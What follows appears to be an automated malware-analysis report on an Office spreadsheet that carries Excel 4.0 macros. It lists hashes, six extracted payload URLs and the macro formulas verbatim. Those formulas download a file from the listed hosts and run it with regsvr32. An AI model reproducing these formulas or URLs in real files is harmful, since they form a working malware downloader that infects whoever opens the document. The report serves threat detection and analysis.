General
-
Target
0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9
-
Size
40KB
-
MD5
cb76f5fdc7b3dea102d1fe6c4071ca8e
-
SHA1
d1509e3987e8e0643e587f10f3b36f99097fec42
-
SHA256
0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9
-
SHA512
c8529947855b4d5a3553c38dfafd0ae9b905b4453ca9fde207ba899fd498f5522bc599fcf8dc5b0ab533f6ffbff6e20956198c1ff791b381f2ab36f01a636f1d
-
SSDEEP
768:WXomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:SomZDzylND59V4jwmXc2CVPu
Malware Config
Extracted
http://radiomedenine.com/kidfngb/h3a3D5WRS/
https://mobapkapps.com/wp-includes/JcEqRwhEw0/
https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/
https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/
https://deine-bewerbung.com/wp-content/HHotdOzCFlW/
https://wewin21.com/wp-content/NITdYcwbO3C1uJd/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9